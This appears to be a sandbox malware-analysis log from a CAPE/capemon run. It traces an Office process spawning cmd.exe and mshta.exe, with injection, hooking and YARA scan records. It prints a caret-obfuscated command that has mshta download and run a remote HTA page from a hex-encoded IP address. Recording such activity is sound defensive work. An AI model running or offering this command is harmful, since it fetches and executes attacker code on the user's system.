2025-12-08 08:35:20,237 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCCEC0000: C:\Windows\SYSTEM32\srvcli (0x28000 bytes).
2025-12-08 08:35:20,237 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD8000000: C:\Windows\SYSTEM32\netutils (0xc000 bytes).
2025-12-08 08:35:20,237 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB6C0000: C:\Windows\SYSTEM32\urlmon (0x1f0000 bytes).
2025-12-08 08:35:20,237 [root] DEBUG: 6784: DLL loaded at 0x00007FFCAFED0000: C:\Windows\SYSTEM32\xpsservices (0x258000 bytes).
2025-12-08 08:35:20,237 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC6D40000: C:\Windows\SYSTEM32\XpsPushLayer (0x5b000 bytes).
2025-12-08 08:35:20,252 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:35:20,268 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCBDE0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140 (0x1b000 bytes).
2025-12-08 08:35:20,268 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC4A0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140_1 (0xc000 bytes).
2025-12-08 08:35:20,268 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3D0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLMF (0x13000 bytes).
2025-12-08 08:35:20,284 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:35:20,284 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:35:20,299 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:35:20,315 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:35:20,346 [root] DEBUG: 6784: DLL loaded at 0x00007FFCB0E80000: C:\Windows\System32\jscript (0xd6000 bytes).
2025-12-08 08:35:20,346 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC090000: C:\Windows\SYSTEM32\amsi (0x1d000 bytes).
2025-12-08 08:35:20,393 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC090000: C:\Windows\SYSTEM32\amsi (0x1d000 bytes).
2025-12-08 08:35:20,393 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC090000: C:\Windows\SYSTEM32\amsi (0x1d000 bytes).
2025-12-08 08:35:20,424 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3C0000: C:\Windows\system32\FontSub (0x23000 bytes).
2025-12-08 08:35:20,440 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:35:20,471 [root] DEBUG: 6784: DLL loaded at 0x00007FFCB0E80000: C:\Windows\System32\jscript (0xd6000 bytes).
2025-12-08 08:35:20,471 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC090000: C:\Windows\SYSTEM32\amsi (0x1d000 bytes).
2025-12-08 08:35:20,518 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC4A0000: C:\Windows\SYSTEM32\MSIMG32 (0x7000 bytes).
2025-12-08 08:35:20,518 [root] DEBUG: 6784: DLL loaded at 0x00007FFCDB0B0000: C:\Windows\System32\SHELL32 (0x85a000 bytes).
2025-12-08 08:35:20,518 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC53B0000: C:\Windows\system32\compstui (0x23000 bytes).
2025-12-08 08:35:20,534 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCD200000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.22621.2506_none_270c5ae97388e100\comctl32 (0x293000 bytes).
2025-12-08 08:35:20,534 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC090000: C:\Windows\SYSTEM32\amsi (0x1d000 bytes).
2025-12-08 08:35:20,565 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC090000: C:\Windows\SYSTEM32\amsi (0x1d000 bytes).
2025-12-08 08:35:20,612 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC4A0000: C:\Windows\SYSTEM32\MSIMG32 (0x7000 bytes).
2025-12-08 08:35:20,612 [root] DEBUG: 6784: DLL loaded at 0x00007FFCDB0B0000: C:\Windows\System32\SHELL32 (0x85a000 bytes).
2025-12-08 08:35:20,612 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC53B0000: C:\Windows\system32\compstui (0x23000 bytes).
2025-12-08 08:35:20,612 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC090000: C:\Windows\SYSTEM32\amsi (0x1d000 bytes).
2025-12-08 08:35:20,659 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:35:20,674 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:35:20,674 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:35:20,690 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:35:20,706 [root] DEBUG: 6768: DLL loaded at 0x690F0000: C:\Windows\system32\directmanipulation (0x7f000 bytes).
2025-12-08 08:35:20,721 [root] DEBUG: 6768: api-rate-cap: NtQueryKey hook disabled due to rate
2025-12-08 08:35:20,752 [root] DEBUG: 6768: DLL loaded at 0x68F50000: C:\Windows\SYSTEM32\dcomp (0x19b000 bytes).
2025-12-08 08:35:20,799 [root] DEBUG: 6768: DLL loaded at 0x683A0000: C:\Program Files (x86)\Microsoft Office\root\Office16\chart (0xba7000 bytes).
2025-12-08 08:35:20,815 [root] DEBUG: 6768: DLL loaded at 0x68360000: C:\Windows\system32\mlang (0x35000 bytes).
2025-12-08 08:35:20,846 [root] DEBUG: 6768: CreateProcessHandler: Injection info set for new process 6760: C:\Windows\SYSTEM32\cmd.exe, ImageBase: 0x00990000
2025-12-08 08:35:20,846 [root] DEBUG: 844: CreateProcessHandler: Injection info set for new process 5720: C:\Program Files (x86)\Microsoft OneDrive\23.038.0219.0001\FileCoAuth.exe, ImageBase: 0x0000000000220000
2025-12-08 08:35:20,862 [root] INFO: Announced 32-bit process name: cmd.exe pid: 6760
2025-12-08 08:35:20,862 [lib.api.process] INFO: Monitor config for <Process 6760 cmd.exe>: C:\tmp65phiig4\dll\6760.ini
2025-12-08 08:35:20,862 [root] INFO: Announced 32-bit process name: FileCoAuth.exe pid: 5720
2025-12-08 08:35:20,862 [lib.api.process] INFO: Monitor config for <Process 5720 FileCoAuth.exe>: C:\tmp65phiig4\dll\5720.ini
2025-12-08 08:35:20,862 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp65phiig4\dll\hcwYgGY.dll, loader C:\tmp65phiig4\bin\cyHVgjr.exe
2025-12-08 08:35:20,862 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp65phiig4\dll\hcwYgGY.dll, loader C:\tmp65phiig4\bin\cyHVgjr.exe
2025-12-08 08:35:20,877 [root] DEBUG: Loader: Injecting process 6760 (thread 5416) with C:\tmp65phiig4\dll\hcwYgGY.dll.
2025-12-08 08:35:20,877 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-08 08:35:20,877 [root] DEBUG: Loader: Injecting process 5720 (thread 5888) with C:\tmp65phiig4\dll\hcwYgGY.dll.
2025-12-08 08:35:20,877 [root] DEBUG: Successfully injected DLL C:\tmp65phiig4\dll\hcwYgGY.dll.
2025-12-08 08:35:20,877 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-08 08:35:20,877 [root] DEBUG: Successfully injected DLL C:\tmp65phiig4\dll\hcwYgGY.dll.
2025-12-08 08:35:20,877 [lib.api.process] INFO: Injected into 32-bit <Process 6760 cmd.exe>
2025-12-08 08:35:20,877 [lib.api.process] INFO: Injected into 32-bit <Process 5720 FileCoAuth.exe>
2025-12-08 08:35:20,877 [root] INFO: Announced 32-bit process name: FileCoAuth.exe pid: 5720
2025-12-08 08:35:20,877 [lib.api.process] INFO: Monitor config for <Process 5720 FileCoAuth.exe>: C:\tmp65phiig4\dll\5720.ini
2025-12-08 08:35:20,893 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp65phiig4\dll\hcwYgGY.dll, loader C:\tmp65phiig4\bin\cyHVgjr.exe
2025-12-08 08:35:20,909 [root] DEBUG: Loader: Injecting process 5720 (thread 5888) with C:\tmp65phiig4\dll\hcwYgGY.dll.
2025-12-08 08:35:20,909 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2025-12-08 08:35:20,909 [root] DEBUG: Successfully injected DLL C:\tmp65phiig4\dll\hcwYgGY.dll.
2025-12-08 08:35:20,909 [lib.api.process] INFO: Injected into 32-bit <Process 5720 FileCoAuth.exe>
2025-12-08 08:35:20,956 [root] DEBUG: 6768: hook_api: Warning - ScriptIsComplex export address 0x68341794 differs from GetProcAddress -> 0x76EB0E50 (gdi32full.dll::0x90e50)
2025-12-08 08:35:20,971 [root] DEBUG: 6768: DLL loaded at 0x68340000: C:\Windows\SYSTEM32\usp10 (0x17000 bytes).
2025-12-08 08:35:21,002 [root] DEBUG: 6768: DLL loaded at 0x681F0000: C:\Windows\System32\Windows.Globalization (0x14e000 bytes).
2025-12-08 08:35:21,034 [root] DEBUG: 6760: Python path set to 'C:\Python38'.
2025-12-08 08:35:21,034 [root] DEBUG: 6768: DLL loaded at 0x68010000: C:\Windows\SYSTEM32\globinputhost (0x22000 bytes).
2025-12-08 08:35:21,049 [root] DEBUG: 6760: Dropped file limit defaulting to 100.
2025-12-08 08:35:21,049 [root] DEBUG: 5720: Python path set to 'C:\Python38'.
2025-12-08 08:35:21,049 [root] DEBUG: 5720: Dropped file limit defaulting to 100.
2025-12-08 08:35:21,049 [root] INFO: Disabling sleep skipping.
2025-12-08 08:35:21,065 [root] DEBUG: 6760: YaraInit: Compiled rules loaded from existing file C:\tmp65phiig4\data\yara\capemon.yac
2025-12-08 08:35:21,065 [root] INFO: Disabling sleep skipping.
2025-12-08 08:35:21,065 [root] DEBUG: 6760: YaraScan: Scanning 0x00990000, size 0x5a55a
2025-12-08 08:35:21,065 [root] DEBUG: 6768: DLL loaded at 0x678F0000: C:\Windows\SYSTEM32\Bcp47Langs (0x49000 bytes).
2025-12-08 08:35:21,065 [root] DEBUG: 5720: YaraInit: Compiled rules loaded from existing file C:\tmp65phiig4\data\yara\capemon.yac
2025-12-08 08:35:21,065 [root] DEBUG: 6760: AmsiDumper initialised.
2025-12-08 08:35:21,065 [root] DEBUG: 5720: YaraScan: Scanning 0x00220000, size 0xcb190
2025-12-08 08:35:21,081 [root] DEBUG: 6760: Monitor initialised: 32-bit capemon loaded in process 6760 at 0x749a0000, thread 5416, image base 0x990000, stack from 0x2c63000-0x2d60000
2025-12-08 08:35:21,081 [root] DEBUG: 5720: AmsiDumper initialised.
2025-12-08 08:35:21,081 [root] DEBUG: 6760: Commandline: cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
2025-12-08 08:35:21,096 [root] DEBUG: 5720: Monitor initialised: 32-bit capemon loaded in process 5720 at 0x749a0000, thread 5888, image base 0x220000, stack from 0x4f96000-0x4fa0000
2025-12-08 08:35:21,096 [root] DEBUG: 6760: GetAddressByYara: ModuleBase 0x77470000 FunctionName LdrpCallInitRoutine
2025-12-08 08:35:21,096 [root] DEBUG: 5720: Commandline: "C:\Program Files (x86)\Microsoft OneDrive\23.038.0219.0001\FileCoAuth.exe" -Embedding
2025-12-08 08:35:21,112 [root] DEBUG: 6760: hook_api: LdrpCallInitRoutine export address 0x774E66A0 obtained via GetFunctionAddress
2025-12-08 08:35:21,127 [root] DEBUG: 5720: GetAddressByYara: ModuleBase 0x77470000 FunctionName LdrpCallInitRoutine
2025-12-08 08:35:21,143 [root] DEBUG: 6760: hook_api: Warning - CreateRemoteThreadEx export address 0x76289A4C differs from GetProcAddress -> 0x76AEDDB0 (KERNELBASE.dll::0x11ddb0)
2025-12-08 08:35:21,143 [root] DEBUG: 5720: hook_api: LdrpCallInitRoutine export address 0x774E66A0 obtained via GetFunctionAddress
2025-12-08 08:35:21,143 [root] DEBUG: 6768: api-rate-cap: LdrGetProcedureAddressForCaller hook disabled due to rate
2025-12-08 08:35:21,143 [root] DEBUG: 6760: hook_api: Warning - CoCreateInstance export address 0x75730FEB differs from GetProcAddress -> 0x75F0FF70 (combase.dll::0xdff70)
2025-12-08 08:35:21,143 [root] DEBUG: 5720: hook_api: Warning - CreateRemoteThreadEx export address 0x76289A4C differs from GetProcAddress -> 0x76AEDDB0 (KERNELBASE.dll::0x11ddb0)
2025-12-08 08:35:21,143 [root] DEBUG: 6760: hook_api: Warning - CoCreateInstanceEx export address 0x7573102A differs from GetProcAddress -> 0x75F5CCF0 (combase.dll::0x12ccf0)
2025-12-08 08:35:21,143 [root] DEBUG: 5720: hook_api: Warning - CoCreateInstance export address 0x75730FEB differs from GetProcAddress -> 0x75F0FF70 (combase.dll::0xdff70)
2025-12-08 08:35:21,143 [root] DEBUG: 6760: hook_api: Warning - CoGetClassObject export address 0x757315BA differs from GetProcAddress -> 0x75ED2BD0 (combase.dll::0xa2bd0)
2025-12-08 08:35:21,143 [root] DEBUG: 5720: hook_api: Warning - CoCreateInstanceEx export address 0x7573102A differs from GetProcAddress -> 0x75F5CCF0 (combase.dll::0x12ccf0)
2025-12-08 08:35:21,159 [root] DEBUG: 6760: hook_api: Warning - UpdateProcThreadAttribute export address 0x762918BA differs from GetProcAddress -> 0x76B1BD10 (KERNELBASE.dll::0x14bd10)
2025-12-08 08:35:21,159 [root] DEBUG: 5720: hook_api: Warning - CoGetClassObject export address 0x757315BA differs from GetProcAddress -> 0x75ED2BD0 (combase.dll::0xa2bd0)
2025-12-08 08:35:21,174 [root] WARNING: b'Unable to place hook on GetCommandLineA'
2025-12-08 08:35:21,174 [root] DEBUG: 5720: hook_api: Warning - UpdateProcThreadAttribute export address 0x762918BA differs from GetProcAddress -> 0x76B1BD10 (KERNELBASE.dll::0x14bd10)
2025-12-08 08:35:21,174 [root] DEBUG: 6768: DLL loaded at 0x67840000: C:\Program Files (x86)\Microsoft Office\root\Office16\osfshared (0xa5000 bytes).
2025-12-08 08:35:21,174 [root] DEBUG: 6760: set_hooks: Unable to hook GetCommandLineA
2025-12-08 08:35:21,174 [root] WARNING: b'Unable to place hook on GetCommandLineA'
2025-12-08 08:35:21,174 [root] WARNING: b'Unable to place hook on GetCommandLineW'
2025-12-08 08:35:21,190 [root] DEBUG: 5720: set_hooks: Unable to hook GetCommandLineA
2025-12-08 08:35:21,190 [root] DEBUG: 6760: set_hooks: Unable to hook GetCommandLineW
2025-12-08 08:35:21,206 [root] WARNING: b'Unable to place hook on GetCommandLineW'
2025-12-08 08:35:21,206 [root] DEBUG: 6760: hook_api: Warning - CLSIDFromProgID export address 0x75730824 differs from GetProcAddress -> 0x75EA54C0 (combase.dll::0x754c0)
2025-12-08 08:35:21,206 [root] DEBUG: 5720: set_hooks: Unable to hook GetCommandLineW
2025-12-08 08:35:21,206 [root] DEBUG: 6760: hook_api: Warning - CLSIDFromProgIDEx export address 0x75730861 differs from GetProcAddress -> 0x75E9FF40 (combase.dll::0x6ff40)
2025-12-08 08:35:21,206 [root] DEBUG: 5720: hook_api: Warning - CLSIDFromProgID export address 0x75730824 differs from GetProcAddress -> 0x75EA54C0 (combase.dll::0x754c0)
2025-12-08 08:35:21,206 [root] DEBUG: 5720: hook_api: Warning - CLSIDFromProgIDEx export address 0x75730861 differs from GetProcAddress -> 0x75E9FF40 (combase.dll::0x6ff40)
2025-12-08 08:35:21,221 [root] DEBUG: 6760: Hooked 611 out of 613 functions
2025-12-08 08:35:21,221 [root] DEBUG: 5720: Hooked 611 out of 613 functions
2025-12-08 08:35:21,221 [root] DEBUG: 6768: DLL loaded at 0x674F0000: C:\Windows\SYSTEM32\UIAutomationCore (0x34c000 bytes).
2025-12-08 08:35:21,237 [root] DEBUG: 6760: Syscall hook installed, syscall logging level 1
2025-12-08 08:35:21,237 [root] DEBUG: 5720: Syscall hook installed, syscall logging level 1
2025-12-08 08:35:21,252 [root] DEBUG: 6760: WoW64fix: Windows version 10.0 not supported.
2025-12-08 08:35:21,252 [root] DEBUG: 5720: WoW64fix: Windows version 10.0 not supported.
2025-12-08 08:35:21,252 [root] INFO: Loaded monitor into process with pid 6760
2025-12-08 08:35:21,252 [root] DEBUG: 6768: DLL loaded at 0x672D0000: C:\Windows\System32\msxml6 (0x1e4000 bytes).
2025-12-08 08:35:21,252 [root] DEBUG: 6760: caller_dispatch: Added region at 0x00990000 to tracked regions list (ntdll::memcpy returns to 0x009ABB7E, thread 5416).
2025-12-08 08:35:21,268 [root] INFO: Loaded monitor into process with pid 5720
2025-12-08 08:35:21,268 [root] DEBUG: 6760: YaraScan: Scanning 0x00990000, size 0x5a55a
2025-12-08 08:35:21,268 [root] DEBUG: 5720: YaraScan: Scanning 0x68040000, size 0x14b06
2025-12-08 08:35:21,268 [root] DEBUG: 6760: ProcessImageBase: Main module image at 0x00990000 unmodified (entropy change 0.000000e+00)
2025-12-08 08:35:21,268 [root] DEBUG: 5720: caller_dispatch: Added region at 0x68040000 to tracked regions list (ntdll::LdrLoadDll returns to 0x6804824F, thread 5888).
2025-12-08 08:35:21,268 [root] DEBUG: 6768: DLL loaded at 0x67260000: C:\Windows\SYSTEM32\PhotoMetadataHandler (0x69000 bytes).
2025-12-08 08:35:21,268 [root] DEBUG: 5720: caller_dispatch: Scanning calling region at 0x68040000...
2025-12-08 08:35:21,268 [root] DEBUG: 5720: ProcessTrackedRegion: Region at 0x68040000 mapped as \Device\HarddiskVolume2\Program Files (x86)\Microsoft OneDrive\23.038.0219.0001\vcruntime140.dll, skipping
2025-12-08 08:35:21,284 [root] DEBUG: 5720: YaraScan: Scanning 0x68060000, size 0x6c73e
2025-12-08 08:35:21,284 [root] DEBUG: 6760: InstrumentationCallback: Added region at 0x769D0000 to tracked regions list (thread 5416).
2025-12-08 08:35:21,284 [root] DEBUG: 5720: YaraScan: Scanning 0x68150000, size 0x91e24
2025-12-08 08:35:21,299 [root] DEBUG: 5720: YaraScan: Scanning 0x68150000, size 0x91e24
2025-12-08 08:35:21,299 [root] DEBUG: 5720: YaraScan: Scanning 0x68150000, size 0x91e24
2025-12-08 08:35:21,299 [root] DEBUG: 5720: caller_dispatch: Added region at 0x68060000 to tracked regions list (ntdll::LdrLoadDll returns to 0x6808BD1E, thread 5888).
2025-12-08 08:35:21,315 [root] DEBUG: 6760: CreateProcessHandler: Injection info set for new process 6460: C:\Windows\system32\mshta.exe, ImageBase: 0x001E0000
2025-12-08 08:35:21,315 [root] DEBUG: 5720: caller_dispatch: Scanning calling region at 0x68060000...
2025-12-08 08:35:21,315 [root] INFO: Announced 32-bit process name: mshta.exe pid: 6460
2025-12-08 08:35:21,315 [lib.api.process] INFO: Monitor config for <Process 6460 mshta.exe>: C:\tmp65phiig4\dll\6460.ini
2025-12-08 08:35:21,315 [root] DEBUG: 5720: ProcessTrackedRegion: Region at 0x68060000 mapped as \Device\HarddiskVolume2\Program Files (x86)\Microsoft OneDrive\23.038.0219.0001\msvcp140.dll, skipping
2025-12-08 08:35:21,315 [root] DEBUG: 6768: DLL loaded at 0x66EA0000: C:\Windows\SYSTEM32\d3dcompiler_47 (0x3b3000 bytes).
2025-12-08 08:35:21,331 [root] DEBUG: 5720: DLL loaded at 0x75540000: C:\Windows\System32\bcryptPrimitives (0x62000 bytes).
2025-12-08 08:35:21,331 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp65phiig4\dll\hcwYgGY.dll, loader C:\tmp65phiig4\bin\cyHVgjr.exe
2025-12-08 08:35:21,346 [root] DEBUG: 5720: InstrumentationCallback: Added region at 0x769D0000 to tracked regions list (thread 5888).
2025-12-08 08:35:21,346 [root] DEBUG: 5720: YaraScan: Scanning 0x680D0000, size 0x759f4
2025-12-08 08:35:21,346 [root] DEBUG: 5720: YaraScan: Scanning 0x67A50000, size 0x14d4fc
2025-12-08 08:35:21,362 [root] DEBUG: 5720: YaraScan: Scanning 0x67A50000, size 0x14d4fc
2025-12-08 08:35:21,362 [root] DEBUG: Loader: Injecting process 6460 (thread 2652) with C:\tmp65phiig4\dll\hcwYgGY.dll.
2025-12-08 08:35:21,362 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-08 08:35:21,362 [root] DEBUG: Successfully injected DLL C:\tmp65phiig4\dll\hcwYgGY.dll.
2025-12-08 08:35:21,362 [lib.api.process] INFO: Injected into 32-bit <Process 6460 mshta.exe>
2025-12-08 08:35:21,362 [root] DEBUG: 5720: caller_dispatch: Added region at 0x67A50000 to tracked regions list (ntdll::LdrLoadDll returns to 0x67A5EC9B, thread 5888).
2025-12-08 08:35:21,362 [root] DEBUG: 5720: caller_dispatch: Scanning calling region at 0x67A50000...
2025-12-08 08:35:21,362 [root] DEBUG: 5720: ProcessTrackedRegion: Region at 0x67A50000 mapped as \Device\HarddiskVolume2\Program Files (x86)\Microsoft OneDrive\23.038.0219.0001\adal.dll, skipping
2025-12-08 08:35:21,362 [root] DEBUG: 5720: YaraScan: Scanning 0x679D0000, size 0x7e188
2025-12-08 08:35:21,377 [root] DEBUG: 5720: YaraScan: Scanning 0x67940000, size 0x80b22
2025-12-08 08:35:21,377 [root] DEBUG: 5720: YaraScan: Scanning 0x67BF0000, size 0x41ab94
2025-12-08 08:35:21,377 [root] DEBUG: 6460: Python path set to 'C:\Python38'.
2025-12-08 08:35:21,377 [root] DEBUG: 6460: Dropped file limit defaulting to 100.
2025-12-08 08:35:21,393 [root] INFO: Disabling sleep skipping.
2025-12-08 08:35:21,393 [root] DEBUG: 6460: YaraInit: Compiled rules loaded from existing file C:\tmp65phiig4\data\yara\capemon.yac
2025-12-08 08:35:21,393 [root] DEBUG: 6460: YaraScan: Scanning 0x001E0000, size 0x717e
2025-12-08 08:35:21,393 [root] DEBUG: 6460: AmsiDumper initialised.
2025-12-08 08:35:21,393 [root] DEBUG: 6460: Monitor initialised: 32-bit capemon loaded in process 6460 at 0x749a0000, thread 2652, image base 0x1e0000, stack from 0x23f6000-0x2400000
2025-12-08 08:35:21,393 [root] DEBUG: 6460: Commandline: mshta http://0xb907d607/fer/fer.html
2025-12-08 08:35:21,393 [root] DEBUG: 6460: GetAddressByYara: ModuleBase 0x77470000 FunctionName LdrpCallInitRoutine
2025-12-08 08:35:21,409 [root] DEBUG: 5720: YaraScan: Scanning 0x67BF0000, size 0x41ab94
2025-12-08 08:35:21,409 [root] DEBUG: 6460: hook_api: LdrpCallInitRoutine export address 0x774E66A0 obtained via GetFunctionAddress
2025-12-08 08:35:21,409 [root] DEBUG: 6460: hook_api: Warning - CreateRemoteThreadEx export address 0x76289A4C differs from GetProcAddress -> 0x76AEDDB0 (KERNELBASE.dll::0x11ddb0)
2025-12-08 08:35:21,409 [root] DEBUG: 6460: hook_api: Warning - CoCreateInstance export address 0x75730FEB differs from GetProcAddress -> 0x75F0FF70 (combase.dll::0xdff70)
2025-12-08 08:35:21,409 [root] DEBUG: 6460: hook_api: Warning - CoCreateInstanceEx export address 0x7573102A differs from GetProcAddress -> 0x75F5CCF0 (combase.dll::0x12ccf0)
2025-12-08 08:35:21,409 [root] DEBUG: 6460: hook_api: Warning - CoGetClassObject export address 0x757315BA differs from GetProcAddress -> 0x75ED2BD0 (combase.dll::0xa2bd0)
2025-12-08 08:35:21,409 [root] DEBUG: 6460: hook_api: Warning - UpdateProcThreadAttribute export address 0x762918BA differs from GetProcAddress -> 0x76B1BD10 (KERNELBASE.dll::0x14bd10)
2025-12-08 08:35:21,409 [root] WARNING: b'Unable to place hook on GetCommandLineA'
2025-12-08 08:35:21,409 [root] DEBUG: 6460: set_hooks: Unable to hook GetCommandLineA
2025-12-08 08:35:21,409 [root] WARNING: b'Unable to place hook on GetCommandLineW'
2025-12-08 08:35:21,409 [root] DEBUG: 6460: set_hooks: Unable to hook GetCommandLineW
2025-12-08 08:35:21,409 [root] DEBUG: 6460: hook_api: Warning - CLSIDFromProgID export address 0x75730824 differs from GetProcAddress -> 0x75EA54C0 (combase.dll::0x754c0)
2025-12-08 08:35:21,425 [root] DEBUG: 6460: hook_api: Warning - CLSIDFromProgIDEx export address 0x75730861 differs from GetProcAddress -> 0x75E9FF40 (combase.dll::0x6ff40)
2025-12-08 08:35:21,425 [root] DEBUG: 6460: Hooked 611 out of 613 functions
2025-12-08 08:35:21,425 [root] DEBUG: 6460: Syscall hook installed, syscall logging level 1
2025-12-08 08:35:21,425 [root] DEBUG: 6460: WoW64fix: Windows version 10.0 not supported.
2025-12-08 08:35:21,425 [root] DEBUG: 5720: YaraScan: Scanning 0x67BF0000, size 0x41ab94
2025-12-08 08:35:21,425 [root] INFO: Loaded monitor into process with pid 6460
2025-12-08 08:35:21,425 [root] DEBUG: 6460: caller_dispatch: Added region at 0x001E0000 to tracked regions list (kernel32::SetUnhandledExceptionFilter returns to 0x001E1C3B, thread 2652).
2025-12-08 08:35:21,425 [root] DEBUG: 6460: YaraScan: Scanning 0x001E0000, size 0x717e
2025-12-08 08:35:21,425 [root] DEBUG: 6460: ProcessImageBase: Main module image at 0x001E0000 unmodified (entropy change 0.000000e+00)
2025-12-08 08:35:21,425 [root] DEBUG: 6460: InstrumentationCallback: Added region at 0x769D0000 to tracked regions list (thread 2652).
2025-12-08 08:35:21,440 [root] DEBUG: 6460: DLL loaded at 0x66E50000: C:\Windows\System32\WLDP (0x44000 bytes).
2025-12-08 08:35:21,440 [root] DEBUG: 5720: caller_dispatch: Added region at 0x00220000 to tracked regions list (ntdll::memcpy returns to 0x00287BAC, thread 5888).
2025-12-08 08:35:21,440 [root] DEBUG: 5720: YaraScan: Scanning 0x00220000, size 0xcb190
2025-12-08 08:35:21,440 [root] DEBUG: 5720: ProcessImageBase: Main module image at 0x00220000 unmodified (entropy change 0.000000e+00)
2025-12-08 08:35:21,440 [root] DEBUG: 5720: caller_dispatch: Added region at 0x68150000 to tracked regions list (ntdll::NtAllocateVirtualMemory returns to 0x681A2B0C, thread 5888).
2025-12-08 08:35:21,440 [root] DEBUG: 5720: ProcessTrackedRegion: Region at 0x68150000 mapped as \Device\HarddiskVolume2\Program Files (x86)\Microsoft OneDrive\23.038.0219.0001\LoggingPlatform.dll, skipping
2025-12-08 08:35:21,455 [root] DEBUG: 5720: DLL loaded at 0x74770000: C:\Windows\SYSTEM32\CRYPTSP (0x15000 bytes).
2025-12-08 08:35:21,455 [root] DEBUG: 5720: DLL loaded at 0x74740000: C:\Windows\system32\rsaenh (0x30000 bytes).
2025-12-08 08:35:21,455 [root] DEBUG: 5720: api-rate-cap: memcpy hook disabled due to rate
2025-12-08 08:35:21,471 [root] DEBUG: 5720: DLL loaded at 0x74C50000: C:\Windows\SYSTEM32\wintypes (0xc7000 bytes).
2025-12-08 08:35:21,471 [root] DEBUG: 5720: DLL loaded at 0x74020000: C:\Windows\SYSTEM32\windows.storage (0x6ec000 bytes).
2025-12-08 08:35:21,487 [root] DEBUG: 5720: DLL loaded at 0x76C50000: C:\Windows\System32\SHCORE (0xc1000 bytes).
2025-12-08 08:35:21,487 [root] DEBUG: 5720: DLL loaded at 0x73A00000: C:\Windows\SYSTEM32\profapi (0x1d000 bytes).
2025-12-08 08:35:21,518 [root] DEBUG: 6460: DLL loaded at 0x738F0000: C:\Windows\SYSTEM32\powrprof (0x45000 bytes).
2025-12-08 08:35:21,518 [root] DEBUG: 5720: DLL loaded at 0x750C0000: C:\Windows\SYSTEM32\IPHLPAPI (0x24000 bytes).
2025-12-08 08:35:21,518 [root] DEBUG: 6460: DLL loaded at 0x6C4F0000: C:\Windows\System32\WINHTTP (0xdd000 bytes).
2025-12-08 08:35:21,518 [root] DEBUG: 5720: DLL loaded at 0x659E0000: C:\Program Files (x86)\Microsoft OneDrive\23.038.0219.0001\OneDriveTelemetryStable (0x1a2000 bytes).
2025-12-08 08:35:21,518 [root] DEBUG: 6460: DLL loaded at 0x659C0000: C:\Windows\System32\wkscli (0x12000 bytes).
2025-12-08 08:35:21,518 [root] DEBUG: 5720: DLL loaded at 0x65940000: C:\Program Files (x86)\Microsoft OneDrive\23.038.0219.0001\FileSyncTelemetryExtensions (0x71000 bytes).
2025-12-08 08:35:21,518 [root] DEBUG: 6460: DLL loaded at 0x72D20000: C:\Windows\System32\netutils (0xb000 bytes).
2025-12-08 08:35:21,534 [root] DEBUG: 6460: DLL loaded at 0x76C50000: C:\Windows\System32\shcore (0xc1000 bytes).
2025-12-08 08:35:21,550 [root] DEBUG: 5720: set_hooks_by_export_directory: Hooked 0 out of 613 functions
2025-12-08 08:35:21,550 [root] DEBUG: 6460: DLL loaded at 0x65B90000: C:\Windows\System32\mshtml (0x130a000 bytes).
2025-12-08 08:35:21,550 [root] DEBUG: 5720: DLL loaded at 0x74F30000: C:\Windows\SYSTEM32\kernel.appcore (0x13000 bytes).
2025-12-08 08:35:21,550 [root] DEBUG: 6460: DLL loaded at 0x73110000: C:\Windows\System32\UMPDC (0xe000 bytes).
